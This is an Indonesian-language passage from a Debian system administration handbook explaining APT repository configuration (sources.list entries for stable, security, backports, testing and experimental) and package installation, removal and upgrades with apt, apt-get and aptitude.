Sintaks field terakhir tergantung pada struktur repositori. Dalam kasus yang paling sederhana, Anda hanya dapat menunjukkan subdirektori (dengan garis miring yang diperlukan) dari sumber yang diinginkan. Ini sering kali cukup "./" yang mengacu pada tidak adanya subdirektori. Paket kemudian ada di URL yang ditentukan. Tetapi dalam kasus yang paling umum, repositori akan disusun seperti cermin Debian, dengan beberapa distribusi, masing-masing memiliki beberapa komponen. Dalam kasus tersebut, beri nama distribusi yang dipilih dengan "nama kode" — lihat daftar di bilah samping KOMUNITAS Bruce Perens, seorang pemimpin kontroversial — atau dengan "suite" yang sesuai (oldstable, stable, testing, unstable) dan kemudian komponen untuk diaktifkan. Cermin Debian yang biasa menyediakan komponen main, contrib, dan non-free.

KOSAKATA Arsip main, contrib dan non-free

Debian menggunakan tiga komponen untuk membedakan paket berdasarkan lisensi yang dipilih oleh penulis setiap pekerjaannya. Main mengumpulkan seluruh paket yang tunduk secara penuh dengan Panduan Perangkat Lunak Bebas Debian.

Komponen non-free berbeda karena berisi perangkat lunak yang tidak (sepenuhnya) sesuai dengan prinsip ini, namun dapat didistribusikan tanpan batasan. Arsip ini, yang bukan secara resmi bagian dari Debian, merupakan layanan untuk pengguna yang mungkin memerlukan program tersebut dan, kini, juga memerlukan firmware untuk perangkat keras mereka. Namun, Debian selalu merekomendasikan memberikan prioritas ke perangkat lunak bebas. Kehadiran komponen ini merepresentasikan masalah yang suatu masalah besar bagi Richard M. Stallman dan mencegah Yayasan Perangkat Lunak Bebas (Free Software Foundation) merekomendasikan Debian ke para pengguna.

Contrib (kontribusi) merupakan seperangkat perangkat lunak sumber terbuka yang tidak dapat berfungsi tanpa beberapa elemen non-free — elemen-elemen ini dapat berupa perangkat lunak dari bagian non-free, atau berkas-berkas non-free seperti ROM permainan, BIOS konsol, dll. — atau beberapa elemen yang sama sekali tidak tersedia dari arsip main. Komponen contrib juga menyertakan perangkat lunak bebas yang kompilasinya memerlukan elemen proprietary. Ini awalnya merupakan kasus untuk aplikasi kantoran OpenOffice.org, yang biasanya memerlukan sebuah lingkungan proprietary Java.

TIP Berkas-berkas dalam /etc/apt/sources.list.d/

Jika banyak sumber paket yang direferensikan, ini dapat berguna untuk memisahkannya dalam beberapa berkas. Setiap bagiannya kemudian disimpan di /etc/apt/sources.list.d/namaberkas.list (lihat bilah tepi KEMBALI KE DASAR Direktori berakhir dengan .d).

Entri cdrom menjelaskan CD/DVD-ROM yang Anda miliki. Berlawanan dengan entri lainnya, CD-ROM tidak selalu tersedia karena harus dimasukkan ke drive dan hanya satu cakram yang dapat dibaca pada satu waktu. Untuk alasan tersebut, sumber ini diatur dalam cara yang sangat berbeda, dan perlu ditambahkan dengan program apt-cdrom, biasanya dieksekusi dengan parameter add. Kemudian akan meminta agar cakram dimasukkan ke dalam drive dan akan menjelajah isinya mencari berkas Packates. Menggunakan berkas tersebut untuk memerbarui basisdatanya dari paket yang tersedia (operasi ini biasanya dilakukan dengan perintah apt update). Dari itu, APT dapat meminta cakram untuk dimasukkan jika memerlukan salah satu paketnya.

6.1.2. Repositori untuk Pengguna Stable

Berikut ini standar sources.list untuk sistem menjalankan versi Debian Stable:

Contoh 6.2. Berkas /etc/apt/sources.list untuk pengguna Debian Stable

# Security updates

deb http://security.debian.org/ buster/updates main contrib non-free

deb-src http://security.debian.org/ buster/updates main contrib non-free

## Debian mirror

# Base repository

deb https://deb.debian.org/debian buster main contrib non-free

deb-src https://deb.debian.org/debian buster main contrib non-free

# Stable updates

deb https://deb.debian.org/debian buster-updates main contrib non-free

deb-src https://deb.debian.org/debian buster-updates main contrib non-free

# Stable backports

deb https://deb.debian.org/debian buster-backports main contrib non-free

deb-src https://deb.debian.org/debian buster-backports main contrib non-free

Berkas ini mendaftar seluruh sumber paket yang berhubungan dengan versi Debian Buster (Stable terkini ketika menulis buku ini). Dalam contoh di atas, kita memilih nama "buster" secara eksplisit daripada menggunakan alias "stable" yang sesuai (stable, stable-updates, stable-backports) karena kita tidak ingin perubahan distribusi di luar kontrol ketika rilis stable berikutnya keluar.

Kebanyakan paket akan datang dari “base repository” yang berisi seluruh paket namun jarang diperbaharui (sekitar 2 bulan sekali untuk sebuah “point release”). Repositori lain adalah sebagian (mereka tidak berisi seluruh paket) dan dapat menghost pembaharuan (paket dengan versi terbaru) yang mungkin diinstall APT. Bagian berikut akan menjelaskan tujuan dan peraturan yang mengatur setiap repositori tersebut.

Catat bahwa ketika versi paket yang diinginkan tersedia pada beberapa repositori, yang pertama didaftarkan di sources.list akan digunakan. Untuk alasan ini, sumber tak-resmi biasanya ditambahkan di akhir berkas.

Sebagai catatan lain, kebanyakan apa yang dikatakan bagian ini tentang Stable berlaku juga ke Oldstable karena yang terakhir hanya merupakan yang lama Stable yang dikelola secara paralel.

6.1.2.1. Pembaharuan Keamanan

Debian menangani keamanan secara serius. Kerentanan perangkat lunak yang diketahui dalam Debian dilacak dalam Pelacak Bug Keamanan dan biasanya diperbaiki dalam rentang waktu yang masuk akal. Pembaharuan keamanan biasanya tidak dihost pada jaringan mirror Debian biasa tetapi pada security.debian.org, seperangkat kecil mesin yang dikelola oleh Administrator Sistem Debian). Arsip ini berisi pembaharuan keamanan, yang dipersiapkan oleh Tim Keamanan Debian dan/atau oleh maintainer untuk distribusi Stable dan Oldstable.

Server dapat pula menghost pembaharuan keamanan untuk Testing namun hal ini jarang terjadi karena pembaharuan tersebut cenderung mencapai Testing melalui alur pembaharuan biasa yang datang dari Unstable.

Untuk masalah serius, tim keamanan mengeluarkan Debian Security Advisory (DSA) dan mengumumkannya bersama dengan pembaruan keamanan pada milis <debian-security-announce@lists.debian.org> (arsip).

6.1.2.2. Pembaharuan Stabil

Pembaharuan Stable bukan keamanan yang sensitif tapi dianggap cukup penting untuk dikirim ke pengguna sebelum titik rilis stable selnjutnya.

Repositori ini akan berisi perbaikan khusus untuk bug kritis dan serius yang tidak dapat diperbaiki sebelum rilis atau yang telah diperkenalkan oleh pembaharuan berikutnya. Tergantung pada urgensinya, dapat pula berisi pembaharuan untuk paket yang berkembang dengan berjalannya waktu, seperti aturan deteksi spam spamassassin, basis data virus clamav, aturan "daylight-saving time" untuk seluruh zona waktu (tzdata), Firefox versi ESR (firefox-esr), atau kunci ring kriptografis seperti debian-archive-keyring.

Dalam praktiknya, repositori ini adalah subset dari repositori proposed-updates, yang dipilih dengan hati-hati oleh Stable Release Managers. Semua pembaruan diumumkan pada milis <debian-stable-announce@lists.debian.org> (arsip) dan akan disertakan dalam rilis poin Stable berikutnya.

deb https://deb.debian.org/debian buster-updates main contrib non-free

6.1.2.3. Pengajuan Pembaharuan

Sekali diterbitkan, distribusi Stable hanya diperbaharui dua kali dalam sebulan. Repositori proposed-updates merupakan di mana pembaharuan yang diharapkan dipersiapkan (di bawah supervisi Manajer Rilis Stable).

Keamanan dan pembaharuan stable yang didokumentasikan di bagian sebelumnya selalu disertakan dalam repositori ini, tetapi ada lagi juga, karena maintainer paket juga memiliki kesempatan untuk memerbaiki kutu penting yang tidak perlu terburu-buru dirilis.

Siapapun dapat menggunakan repositori ini untuk menguji pembaruan tersebut sebelum publikasi resminya. Ekstraksi berikut menggunakan alias buster-proposed-updates yang lebih eksplisit dan lebih konsisten karena stretch-proposed-updates juga ada (untuk pembaharuan Oldstable):

deb https://deb.debian.org/debian buster-proposed-updates main contrib non-free

6.1.2.4. Backport Stable

Repositori stable-backports menghost “backport paket”. Istilah tersebut mengacu pada paket beberapa perangkat lunak terkini yang telah dokompilasi untuk distribusi lama, umumnya untuk Stable.

Ketika distribusi menjadi sedikit tua, banyak sekali proyek perangkat lunak yang telah merilis versi baru yang tidak terintegrasi ke keluarga Stable terakhir, yang hanya dimodifikasi untuk menunjukkan masalah kritis, seperti masalah keamanan. Karena keluarga Testing dan Unstable dapat lebih beresiko, maintainer paket terkadang secara suka rela menawarkan kompilasi ulang untuk aplikasi perangkat lunak untuk Stable, yang bermanfaat bagi para pengguna dan administrator sistem untuk membatasi potensi ketidakstabilan pada sekelumit paket terpilih. Halaman https://backports.debian.org menyediakan lebih banyak informasi.

Backport dari stable-backports hanya dibuat dari paket yang tersedia di Testing. Ini untuk memastikan bahwa seluruh backport terinstall akan dapat dimutakhirkan berdasarkan versi stabil pada saat rilis stabil Debian berikutnya tersedia.

Meskipun repositori ini menyediakan versi terbaru paket, APT tidak akan menginstallnya kecuali Anda memberikan instruksi secara eksplisit (atau Anda telah melakukannya dengan versi sebelumnya backport yang diberikan):

$ sudo apt-get install package/buster-backports

$ sudo apt-get install -t buster-backports package

6.1.3. Repositori untuk pengguna Testing/Unstable

Berikut ini sebuah standar sources.list untuk sistem yang menjalankan versi Debian Testing atau Unstable:

Contoh 6.3. Berkas /etc/apt/sources.list untuk pengguna Debian Testing/Unstable

# Unstable

deb https://deb.debian.org/debian unstable main contrib non-free

deb-src https://deb.debian.org/debian unstable main contrib non-free

# Testing

deb https://deb.debian.org/debian testing main contrib non-free

deb-src https://deb.debian.org/debian testing main contrib non-free

# Testing security updates

deb http://security.debian.org/ testing-security main contrib non-free

deb-src http://security.debian.org/ testing-security main contrib non-free

# Stable

deb https://deb.debian.org/debian stable main contrib non-free

deb-src https://deb.debian.org/debian stable main contrib non-free

# Stable security updates

deb http://security.debian.org/ stable/updates main contrib non-free

deb-src http://security.debian.org/ stable/updates main contrib non-free

CATATAN Tata letak repositori keamanan

Dimulai dengan Debian 11 Bullseye, nama kode repositori yang menyediakan pembaruan keamanan telah diganti dari codename/updates menjadi codename -security untuk menghindari kebingungan dengan codename-updates (lihat Bagian 6.1.2.2, “Pembaharuan Stabil”).

Dengan berkas sources.list ini APT akan menginstall paket dari Unstable. Jika bukan itu yang diinginkan, gunakan pengaturan APT::Default-Release (see Bagian 6.2.3, “Pembaharuan Sistem”) untuk menunjuk APT untuk mengambil paket dari kelompok lain (kemungkinan besar dalam kasus ini Testing).

Ada alasan bagus untuk menyertakan seluruh repositori tersebut, meskipun satu saja sudah cukup. Pengguna Testing akan mengapresiasi kemungkinan untuk cherry-pick paket tertentu dari Unstable ketika versi di Testing terkena efek kutu yang mengganggu. Sebaliknya, pengguna Unstable terkena kemunduran yang tidak diharapkan memiliki kemungkinan untuk mendowngrade paket ke versi (seharusnya bekerja) Testing mereka.

Penyantuman Stable dapat lebih diperdebatkan tetapi sering memberikan akses ke beberapa paket yang telah dihapus dari versi pengembangan. Ini juga memastikan bahwa Anda mendapatkan pembaruan terkini dari paket yang tidak lagi dimodifikasi sejak rilis stabil terakhir.

6.1.3.1. Repositori Experimental

Arsip paket Experimental ada di seluruh mirror Debian, dan berisi paket yang belum ada di versi Unstable karena kualitas substandar mereka - mereka sering berupa perangkat lunak versi pengembangan atau pre-versi (alpha, beta, rilis kandidat…). Sebuah paket dapat juga dikirim ke sana setelah mengalami perubahan berikutnya yang dapat menghasilkan masalah. Kemudian maintainer mencoba untuk menemukan mereka dengan bantuan dari para pengguna mahir yang dapat menangani isu=isu penting. Setelah langkah pertama ini, paket dipindah ke Unstable, di mana akan menjangkau audiens yang lebih banyak dan akan dites lebih mendetail.

Experimental umumnya digunakan oleh pengguna yang tidak peduli menghancurkan sistemnya dan kemudian memerbaikinya. Distribusi ini memberikan kemungkinan untuk mengimpor paket yang diinginkan pengguna untuk dicoba atau gunakan sebagaimana mereka perlukan. Inilah tentunya bagaimana pendekatan oleh Debian, karena mengambahkannya ke berkas sources.list APT tidak membawa ke penggunaan sistematis paketnya. Baris yang ditambahkan ialah:

deb https://deb.debian.org/debian experimental main contrib non-free

6.1.4. Menggunakan Cermin Alternatif

Contoh sources.list dalam bab ini mengacu pada repositori paket yang dihosting pada deb.debian.org. URL tersebut akan mengarahkan Anda ke server yang dekat dengan Anda dan yang dikelola oleh Content Delivery Networks (CDN) yang peran utamanya adalah menyimpan beberapa salinan berkas di seluruh dunia, dan untuk mengirimkannya secepat mungkin kepada pengguna. Perusahaan CDN yang bekerja sama dengan Debian adalah mitra Debian yang menawarkan layanan mereka secara bebas kepada Debian. Meskipun tidak satu pun dari server tersebut berada di bawah kendali langsung Debian, fakta bahwa seluruh arsip disegel oleh tanda tangan GPG membuatnya menjadi bukan masalah.

Pengguna pemilih yang tidak puas dengan kinerja deb.debian.org dapat mencoba menemukan cermin yang lebih baik dalam daftar cermin resmi:

→ https://www.debian.org/mirror/list

Tetapi ketika Anda tidak tahu cermin mana yang terbaik untuk Anda, daftar ini tidak banyak berguna. Untungnya bagi Anda, Debian memelihara entri-entri DNS dalam bentuk ftp. kode negara.debian.org (misalnya ftp.us.debian.org untuk Amerika Serikat, ftp.fr.debian.org untuk Prancis, dll.) yang mencakup banyak negara dan yang menunjuk ke satu (atau lebih) cermin terbaik yang tersedia di negara itu.

Sebagai alternatif untuk deb.debian.org, dulu ada httpredir.debian.org. Layanan ini akan mengidentifikasi cermin yang dekat dengan Anda (di antara daftar cermin resmi, terutama menggunakan GeoIP) dan akan mengarahkan permintaan APT ke cermin itu. Layanan ini telah usang karena masalah keandalan dan sekarang httpredir.debian.org menyediakan layanan berbasis CDN yang sama dengan deb.debian.org.

6.1.5. Sumber Daya Tidak-Resmi: mentors.debian.net

Ada banyak sumber tidak resmi paket-paket Debian yang disiapkan oleh para pengguna tingkat lanjut yang telah mengkompail ulang beberapa perangkat lunak — Ubuntu membuat ini populer dengan layanan Arsip Paket Pribadi (Personal Package Archive/PPA) mereka — oleh programmer yang membuat ciptaan mereka tersedia bagi semua, dan bahkan oleh para pengembang Debian yang menawarkan pra-versi paket mereka secara daring.

Situs mentors.debian.net menarik (walaupun itu hanya menyediakan paket-paket sumber), karena dia mengumpulkan sumber paket yang dibuat oleh kandidat status pengembang resmi Debian atau oleh relawan yang ingin membuat paket Debian tanpa melalui proses integrasi. Paket-paket ini disediakan tanpa jaminan terkait kualitasnya; pastikan Anda memeriksa sumber dan integritas mereka dan kemudian mencoba sebelum menggunakannya untuk produksi.

KOMUNITAS Situs debian.net

Domain debian.net bukan merupakan sumber daya resmi proyek Debian. Setiap pengembang Debian boleh menggunakann nama domain tersebut untuk kegunaan mereka. Website ini dapat berisi layanan tak resmi (terkadang situs personal) dihost pada sebuah mesin yang tidak dimiliki proyek dan diatur oleh pengembang Debian, atau bahkan prototype yang akan dipindahkan ke debian.org. Dua alasan yang dapat menjelaskan mengapa beberapa prototype tetap berada di debian.net: antara tidak ada yang melakukan usaha yang diperlukan untuk mengubahnya ke dalam layanan resmi (dihost di domaing debian.org, dan dengan jaminan perawatan tertentu), atau layanan terlalu kontroversial untuk diresmikan.

Menginstall sebuah paket berarti memberikan hak root kepada pembuatnya, karena mereka menentukan pada isi skrip inisialisasi yang dijalankan dengan identitas tersebut. Paket resmi Debian dibuat oleh relawan yang telah dipilih dan ditinjau dan yang dapat menyegel paket mereka agar keaslian dan integritasnya dapat diperiksa.

Umumnya, waspadalah terhadap paket yang sumbernya tidak Anda ketahui yang tidak diwadahi di peladen resmi Debian: evaluasi derajatnya di mana Anda dapat memercayai pembuatnya, dan periksa integritas paket.

LEBIH JAUH Paket versi lama: snapshot.debian.org

Layanan snapshot.debian.org, yang diperkenalkan pada April 2010, dapat digunakan untuk "memundurkan waktu" dan menemukan versi lama dari sebuah paket yang tidak lagi dimuat dalam arsip Debian. Ini dapat digunakan sebagai contoh untuk menentukan versi mana dari sebuah paket yang memunculkan regresi, dan lebih nyata, kembali ke versi sebelumnya ketika menunggu perbaikan regresi.

6.1.6. Caching Proxy untuk Paket Debian

Ketika seluruh jaringan mesin dikonfigurasi untuk menggunakan remote server untuk mengunduh pembaharuan paket yang sama, beberapa administrator mengetahui bahwa mungkin lebih bermanfaat jika proxy menengah berlaku sebagai cache jaringan-lokal (lihat bilah tepi KOSAKATA Cache).

Anda dapat mengonfigurasi APT untuk menggunakan proxy "standard" (lihat Bagian 6.2.4, “Pilihan Konfigurasi” untuk sisi APT, dan Bagian 11.6, “Proksi HTTP/FTP” untuk sisi proxy), namun ekosistem Debian menawarkan pilihan yang lebih baik untuk mengatasi masalah ini. Perangkat lunak terdedikasi disajikan pada bagian ini lebih pintar dari cache proxy murni karena mereka dapat mengandalkan struktur khusus dari repositori APT (misalnya mereka mengetahui ketika suatu berkas usang atau tidak, dan menentukan waktu selama yang mereka simpan).

apt-cacher dan apt-cacher-ng bekerja seperti server proxy cache biasanya. Berkas sources.list milik APT tidak diubah, namun APT dikonfigurasi untuk menggunakannya sebagai proxy permintaan keluar.

approx, di lain pihak, berlaku seperti server HTTP yang “me-mirror” beberapa repositori remote pada level tertinggi URL. Pemetaan antara level-tertinggi direktori tersebut dan URL remote repositori di simpan di /etc/approx/approx.conf:

# <name> <repository-base-url>

debian   https://deb.debian.org/debian

security http://security.debian.org

approx bawaannya dijalankan pada port 9999 melalui sebuah soket systemd dan pengguna perlu mengatur berkas sources.list mengarah ke server approx:

# Sample sources.list pointing to a local approx server

deb http://localhost:9999/security buster/updates main contrib non-free

deb http://localhost:9999/debian buster main contrib non-free

6.2. Perintah aptitude, apt-get, dan apt

APT merupakan proyek yang luas, yang mulanya direncanakan menyertakan antarmuka grafis. Berbasis pada pustaka yang berisi aplikasi inti, dan apt-get adalah front end pertama — berbasis baris-perintah — yang telah dikembangkan di dalam proyek. apt adalah front end berbasis baris-perintah kedua yang disediakan oleh APT yang mengatasi beberapa kesalahan desain apt-get.

Kedua alat dibangun di atas perpustakaan yang sama dan dengan demikian sangat dekat, tetapi perilaku default apt telah ditingkatkan untuk penggunaan interaktif dan untuk benar-benar melakukan apa yang diharapkan sebagian besar pengguna. Pengembang APT berhak untuk mengubah antarmuka publik alat ini untuk lebih meningkatkannya. Sebaliknya, antarmuka publik apt-get didefinisikan dengan baik dan tidak akan berubah dengan cara yang tidak kompatibel ke belakang. Dengan demikian itu adalah alat yang ingin Anda gunakan ketika Anda perlu menyusun skrip permintaan instalasi paket.

Beberapa antarmuka grafis kemudian muncul sebagai proyek eksternal: synaptic, aptitude (yang menyertakan antarmuka mode teks dan grafis - bahkan jika belum selesai), wajig,dll. Antarmuka yang paling direkomendasikan, apt, adalah yang akan kita gunakan pada contoh-contoh yang diberikan pada bagian ini. Namun, perhatikan bahwa sintaks baris perintah apt-get dan aptitude sangat mirip. Ketika ada beberapa perbedaan utama antara ketiga perintah ini, perbedaan ini akan dirinci.

6.2.1. Inisialisasi

Untuk bekerja dengan APT, daftar paket yang tersedia perlu diperbaharui; hal ini dapat dengan mudah dilakukan dengan apt update. Tergantung dari kecepatan koneksi Anda, operasi ini perlu beberapa saat karena melibatkan pengunduhan beberapa berkas (biasanya terkompresi) Packages, Sources, Translation-kode-bahasa, yang semakin lama semakin besar sebagaimana Debian dikembangkan (setidaknya data 10 MB untuk bagian main). Tentu saja, instalasi dari CD-ROM/DVD tidak perlu mengunduh - dalam hal ini, operasinya sangat cepat.

TIP Pembaruan inkremental

Tujuan perintah apt update adalah untuk mengunduh setiap sumber paket yang sesuai berkas Packages (or Sources). Akan tetapi, bahkan setelah kompresi xz, berkas ini dapat lebih besar (Packages.xz untuk main bagian Buster lebih dari 7 MB). Jika Anda ingin memutakhirkan secara berkala, pengunduhan ini dapat memakan banyak waktu.

Untuk memercepat proses APT dapat mengunduh berkas “diff” yang berisi perubahan sejak pembaharuan sebelumnya, kebalikan dari seluruh berkas. Untuk mencapainya, mirror resmi Debian mendistribusikan berkas pembeda yang mendaftar perbedaan antara satu versi berkas Packages dan versi berikutnya. Mereka dihasilkan pada setiap pembaharuan arsip dan sejarahnya disimpan selama satu minggu. Setiap berkas “diff” ini hanya berukuran beberapa lusin kilobyte untuk Unstable, maka jumlah data yang diunduh oleh apt update setiap minggu sering dibagi 10. Untuk Stable dan Testing, yang jarang berubah, perolehannya bahkan lebih nyata.

Akan tetapi, terkadang lebih menarik untuk mengunduh seluruh berkas Packages, khususnya ketika pembaharuan terakhir sangat tua dan ketika mekanisme penambahan perbedaan tidak akan lebih menyumbang. Hal ini juga dapat lebih menarik ketika akses jaringan sangat cepat namun ketika prosesor mesin untuk diupgrade sedikit lambat, karena waktu untuk mengunduh hilang ketika komputer menghitung versi baru berkas ini (dimulai dengan versi lama dan menerapkan perbedaan yang diunduh). untuk melakukan hal itu, Anda dapat menggunakan parameter konfigurasi APT Acquire::PDiffs dan mengaturnya menjadi false.

$ sudo apt -o "Acquire::PDiffs=false" update

Opsi Acquire::* juga mengontrol aspek lain dari unduhan, dan bahkan metode unduhan. Acquire::Languages dapat membatasi atau menonaktifkan unduhan berkas Translation-kode-bahasa dan menghemat lebih banyak waktu. Untuk referensi lengkap lihat apt.conf(5).

6.2.2. Instalasi dan Penghapusan

Dengan APT, paket dapat ditambahkan atau dihapus dari sistem, masing-masing dengan apt install paket dan apt remove paket. Dalam dua kasus tersebut, APT akan menginstall ketergantungan atau menghapus paket yang bergantung pada paket yang sedang dihapus secara otomatis. Perintah apt purge paket melibatkan pembongkaran penuh dengan juga menghapus berkas konfigurasi.

TIP Instalasi paket pilihan yang sama beberapa kali

Berguna untuk menginstall secara sistematis daftar paket yang sama pada beberapa komputer. Hal ini dapat dengan mudah dilakukan.

Pertama, ambil daftar paket terinstall pada komputer yang akan tersaji sebagai “model” untuk disalin.

$ dpkg --get-selections >pkg-list

Berkas pkg-list kemudian berisi daftar paket terinstall. Selanjutnya, kirim berkas pkg-list ke komputer yang ingin Anda perbaharui dan gunakan perintah berikut:

## Update dpkg's database of known packages

# avail=`mktemp`

# apt-cache dumpavail > "$avail"

# dpkg --merge-avail "$avail"

# rm -f "$avail"

## Update dpkg's selections

# dpkg --set-selections < pkg-list

## Ask apt-get to install the selected packages

# apt-get dselect-upgrade

Perintah pertama merekam daftar paket tersedia di basisdata dpkg. Kemudian dpkg --set-selections mengembalikan paket terpilih yang ingin Anda install, dan apt-get mengeksekusi operasi yang diperlukan! aptitude tidak memiliki perintah ini.

TIP Penghapusan dan instalasi pada saat yang sama

Memungkinkan untuk meminta apt (atau apt-get, atau aptitude) untuk menginstall beberapa paket dan menghapus lainnya pada baris perintah yang sama dengan menambahkan awalan. Dengan perintah apt install, tambahkan “-” pada nama paket yang ingin Anda hapus. Dengan perintah apt remove, tambahkan “+” pada nama paket yang ingin Anda install.

Contoh berikutnya menunjukkan dua perbedaan cara untuk menginstall paket1 dan menghapus paket2.

# apt install paket1 paket2-

# apt remove paket1+ paket2

Ini dapat pula digunakan untuk mengecualikan paket yang mungkin akan diinstal, misalnya, karena instalasi otomatis dari Recommends. Umumnya, pemecah ketergantungan akan menggunakan informasi tersebut sebagai petunjuk untuk melihat solusi alternatif.

TIP apt --reinstall dan aptitude reinstall

Terkadang sistem dapat menjadi rusak setelah penghapusan atau modifikasi berkas dalam sebuah paket. Cara termudah untuk mengembalikan berkas ini ialah dengan menginstall ulang paket terdampak. Sayangnya, sistem pemaketan menemukan bahwa sebelumnya telah terinstall dan menolak dengan sopan untuk menginstallnya; untuk menghindari hal ini, gunakan pilihan --reinstall untuk perintah apt dan apt-get. Perintah berikut menginstall ulang postfix merskipun paket tersebut telah ada:

# apt --reinstall install postfix

Baris perintah aptitude sangat berbeda, namun hasilnya akan sama dengan aptitude reinstall postfix.

Masalah tidak muncul dengan dpkg, namun administrator jarang menggunakannya secara langsung.

Waspadalah, menggunakan apt --reinstall untuk memulihkan paket yang diubah selama serangan pasti tidak dapat mengembalikan sistem seperti sebelumnya. Bagian 14.7, “Berurusan dengan Mesin yang Terkompromi” merinci langkah yang diperlukan untuk menangani sistem yang terkompromi.

Perintah ini tidak akan memulihkan berkas konfigurasi. Tetapi seperti yang telah Anda pelajari di Bagian 5.2.3, “Checksums, Daftar Berkas Konfigurasi” (lihat juga sidebar LEBIH JAUH Paksa dpkg untuk menanyakan permintaan berkas konfigurasi), Anda dapat menggunakan perintah berikut agar diminta untuk memasang versi yang tidak dimodifikasi dan bahkan mengembalikan berkas konfigurasi yang dihapus juga.

# apt --reinstall -o Dpkg::Options::="--force-confask,confmiss" install paket

Beberapa paket tidak mengirimkan berkas konfigurasi yang ditemukan di /etc dengan paket. Sebaliknya mereka membuatnya selama instalasi dengan menyalin kerangka atau menulisnya dengan skrip. Berkas /etc/inputrc, misalnya, adalah salinan /usr/share/readline/inputrc. Dalam kasus seperti itu perintah yang ditunjukkan di atas tidak akan berfungsi.

Jika berkas sources.list menyebutkan beberapa distribusi, memungkinkan untuk memberi versi paket yang diinstall. Nomor versi paket yang spesifik dapat diminta dengan apt install paket=versi, namun menunjuk distribusi asli (Stable, Testing, atau Unstable) — dengan apt install paket/distribusi — biasanya lebih disukai. Dengan perintah ini, memungkinkan untuk paket kembali ke versi yang lebih tua (misalnya Anda mengetahui bahwa itu bekerja dengan baik), asal masih tersedia pada salah satu sumber yang dirujuk oleh berkas sources.list. Bila tidak, arsip snapshot.debian.org dapat hadir sebagai penyelamat (lihat bilah tepi LEBIH JAUH Paket versi lama: snapshot.debian.org).

Contoh 6.4. Instalasi versi Unstable dari spamassassin

# apt install spamassassin/unstable

Jika paket yang akan dipasang telah tersedia untuk Anda dalam bentuk bekas sederhana .deb tanpa repositori paket terkait, masih mungkin untuk menggunakan APT untuk memasangnya bersama dengan dependensinya (asalkan dependensi tersedia di repositori yang dikonfigurasi) dengan perintah sederhana: apt install ./path-ke-paket.deb. ./ di awal penting untuk memperjelas bahwa kita mengacu pada nama berkas dan bukan nama paket yang tersedia di salah satu repositori.

LEBIH JAUH Singgahan berkas .deb

APT menyimpan salinan setiap berkas .deb yang diunduh dalam direktori /var/cache/apt/archives/. Dalam hal pembaharuan yang sering dilakukan, direktori ini dapat memakan ruang cakram dengan cepat dengan beberapa versi setiap paket; Anda harus sering menanganinya. Dua perintah yang dapat digunakan: apt-get clean untuk mengosongkan sepenuhnya; apt-get autoclean hanya menghapus paket yang tidak dapat diunduh lagi (karena mereka telah menghilang dari mirror Debian) dan sama sekali tidak berguna (parameter konfigurasi APT::Clean-Installed dapat mencegah penghapusan berkas .deb yang telah terinstall).

6.2.3. Pembaharuan Sistem

Pembaharuan berkala direkomendasikan, karena mereke menyertakan pembaharuan keamanan. Untuk upgrade, gunakan apt upgrade, apt-get upgrade, atau aptitude safe-upgrade (tentu saja setelah apt update). Perintah ini mencari paket terinstall yang dapat diperbaharui tanpa menghapus paket. Dengan kata lain, tujuannya adalah untuk memastikan upgrade yang paling tidak intrusif yang mungkin. apt-get lebih banyak persyaratannya daripada aptitude atau apt karena ini akan menolak menginstall paket yang tidak diinstall sebelumnya.

apt umumnya akan memilih versi terkini (kecuali untuk paket dari Experimental dan stable-backports, yang bawaannya diabaikan berapapun nomor versinya). Jika Anda menentukan Testing atau Unstable dalam sources.list Anda, apt upgrade akan mengganti kebanyakan sistem Stable Anda ke Testing atau Unstable, mungkin bukan yang Anda inginkan.

Meminta apt untuk menggunakan distribusi khusus ketika mencari paket yang diperbaharui, Anda perlu menggunakan pilihan -t atau --target-release, diikuti oleh nama distribusi yang Anda inginkan (sebagai contoh, apt -t stable upgrade). Untuk menghindari penentuan pilihan ini setiap waktu Anda dapat menggunakan apt, Anda dapat menambahkan APT::Default-Release "stable"; dalam berkas /etc/apt/apt.conf.d/local.

Untuk kenaikan-tingkat yang lebih penting, seperti berubah dari satu versi utama Debian ke berikutnya, Anda perlu menggunakan apt full-upgrade. Dengan instruksi ini, apt akan melengkapi upgrade bahkan jika harus menghapus beberapa paket usang atau menginstall ketergantungan baru. Perintah ini juga digunakan pengguna yang sehari-hari bekerja dengan rilis Debian Unstable dan mengikut evolusinya setiap hari. Ini sangat sederhana yang hampir tidak memerlukan penjelasan: reputasi APT berbasis pada fungsionalitas besar ini.

Tidak seperti apt dan aptitude, apt-get tidak mengenal perintah full-upgrade. Sebagai pengganti, Anda mesti memakai perintah apt-get dist-upgrade ("peningkatan distribusi"), perintah historis dan dikenal luas yang juga diterima oleh apt dan aptitude untuk kenyamanan pengguna yang terbiasa memakainya.

Hasil operasi ini dicatat ke /var/log/apt/history.log dan /var/log/apt/term.log, sedangkan dpkg menyimpan lognya dalam berkas bernama /var/log/dpkg.log.

6.2.4. Pilihan Konfigurasi

Selain elemen konfigurasi yang telah disebutkan, memungkinkan unutuk mengonfigurasi beberapa aspek APT dengan menambahkan arahan dalam berkas di direktori /etc/apt/apt.conf.d/ atau /etc/apt/apt.conf itu sendiri. Ingat misalnya bahwa ini memungkinkan APT untuk meminta dpkg mengabaikan kesalahan konflik berkas dengan menentukan DPkg::options { "--force-overwrite"; }.

Jika Web hanya dapat diakses melalui proxy, tambahkan baris seperti Acquire::http::proxy "http://proxy-anda:3128". Untuk sebuah proxy FTP, tulis Acquire::ftp::proxy "ftp://proxy-anda". Untuk menemukan lebih banyak pilihan konfigurasi, baca laman manual apt.conf(5) dengan perintah man apt.conf (untuk rincian pada laman manual, lihat Bagian 7.1.1, “Halaman Manual”).

KEMBALI KE DASAR Direktori berakhir dengan .d

Direktori dengan akhiran .d semakin sering digunakan. Setiap direktori merepresentasikan sebuah berkas konfigurasi yang dibagi ke dalam beberapa berkas. Dalam pengertian ini, seluruh berkas dalam /etc/apt/apt.conf.d/ merupakan instruksi untuk konfigurasi APT. APT menyertakannya dalam urutan alfabetis, jadi yang terakhir dapat memodifikasi sebuah elemen konfigurasi salah satu yang pertama.

